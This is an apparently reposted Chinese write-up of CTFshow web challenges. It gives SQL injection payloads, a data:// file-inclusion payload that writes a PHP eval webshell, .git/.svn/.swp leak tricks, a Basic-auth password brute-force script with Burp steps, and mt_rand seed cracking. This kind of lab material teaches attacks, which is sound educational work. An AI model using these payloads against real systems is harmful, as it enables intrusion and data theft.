CTFSHOW的web部分writeup


WEB2-SQL注入

题目提示是简单的SQL注入,于是尝试输入点中使用万能密码:admin'or 1=1#(CTF中SQL万能密码集合发现成功执行,于是

image

order by查找回显数

username=ctfshow' order by 3 #&password=1

image

image


在3时正常回显,4是无回显,说明回显数为3
使用union select 联合查询爆库名

username=ctfshow' union select 1,database(),3#&password=1

image

发现数据库是web2,继续爆表名:

username=ctfshow' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #&password=1

爆字段:

username=ctfshow' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#&password=1

爆flag;

username=ctfshow' union select 1,group_concat(flag),3 from flag #&password=1

image

web3-文件包含漏洞

打开网站提示输入url,测试/etc/passwd成功显示,应为文件包含漏洞
在这里插入图片描述
第一种方法:
php伪协议中的data通过通配符查找目录下的所有文件

==url=data://text/plain,<?php print_r(glob("*")); ?>==
在这里插入图片描述
在这里插入图片描述
得到 ctf_go_go_go
直接访问得flag

第二种方法:

写入一句话菜刀连接
==url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>==
在这里插入图片描述
附:常见的php伪协议及用法:https://blog.csdn.net/yao_xin_de_yuan/article/details/108326427
在这里插入图片描述


web入门题

WEB3-phps可以读取源码

地址栏phps可以读取php源码,得到flag

web7-git泄露-/.git

提示版本控制很重要,但不要部署到生产环境更重要。

关于版本控制,首先想到的是git泄露,访问/.git,得到flag

web8-git泄露-/.svn

提示内容和web7一样,除了git泄露以外,还存在svn泄露,访问/.svn得到flag

web9-vim编辑会生成index.php.swp

提示发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

当我们在使用vim编辑的时候,vim会在被编辑文件同一目录下,创建一个名为filename.swp的文件,记录我们的动作,比如在编辑index.php的时候会存在一个index.php.swp的文件,访问/index.php.swp下载文件得到flag

web14-通过编辑器文件

提示有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

访问/editor

点击插入文件(第二排倒数第十个)选择文件空间

在tmp/html/nothinghere文件夹中找到fl000g.txt,插入文件后会显示路径/editor/attached/file/tmp/html/nothinghere/fl000g.txt

访问nothinghere/fl000g.txt得到flag

web16-php探针

又学到一个新东西,/tz.php,找到phpinfo 点进去搜索flag

web21-brup爆破需要编码,Authorization: Basic

1.打开题目,点击click

技术图片

2.下载附件后,发现是一个密码字典,考虑该题为账号密码爆破

技术图片

3.根据基础认证相关知识,Burp打开,输入admin/admin看下登录请求

技术图片

4.将YWRtaW46YWRtaW4=解密内容为:admin:admin

技术图片

5.需要使用python编写脚本将密码加密,脚本如下:

#! /usr/bin/env python3
# _*_  coding:utf-8 _*_
import base64

# 字典文件路径
dic_file_path = ‘./10_million_password_list_top_100.txt‘
with open(dic_file_path, ‘r‘) as f:
    password_dic = f.readlines()

username = ‘admin:‘ # 用户名
for password in password_dic:
    str1=str.encode(username + password.strip())
    encodestr = base64.b64encode(str1)
    encodestr=str(encodestr)
    encodestr=encodestr.strip(‘b\‘‘)
    encodestr=encodestr.replace("=","\=")   #避免“=”被转译
    print(encodestr)

运行脚本,结果如下:

技术图片

6.将结果导出保存为password.txt

7.Action将请求包发送至爆破模块,设置Payload positions选择Authorization: Basic后内容,字典选择刚才保存的password.txt

技术图片

技术图片

8.可以看到返回包长度里面有一个是394,跟其他的不同,查看其响应包,发现flag

技术图片

还有一种方法,不使用脚本,直接使用Burp内置decode功能,方法如下:

1.将请求包发送到Decoder模块,选择需要解密的内容,decode as设置成base64解码

技术图片

2.请求包发送至Intruder模块,将需要爆破的密文给Add §

技术图片3.设置payloads,导入附件中的字典,在payload processing中设置Prefix添加前缀admin:,设置Base64-encode使用base64加密该前缀

技术图片

4.点击Start attack开始,最终发现一返回包状态码为200,数据长度为394,在返回包中发现flag

技术图片

避坑提示:

在做这个题目时,采用第一种方法一直无法获取flag,后经参考资料,发现payloads设置里payload encodeing设置里前面的勾要去掉,不然会将base64里“=”编码,导致错误

技术图片

web25-使用php_mt_seed爆破种子,然后提交

首先将r赋值获取一个随机数

使用命令time ./php_mt_seed 1410783733爆破

image

通过php在线平台编辑得到r和token并提交

  1 <?php
  2 mt_srand(1208098864);
  3 echo(mt_rand());
  4 echo PHP_EOL;
  5 echo(mt_rand()+mt_rand());//刚开始这里没有加括号导致不对
  6 if(!0){
  7     echo('a');
  8 }
  9 ?>
 10 
 11 

image


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM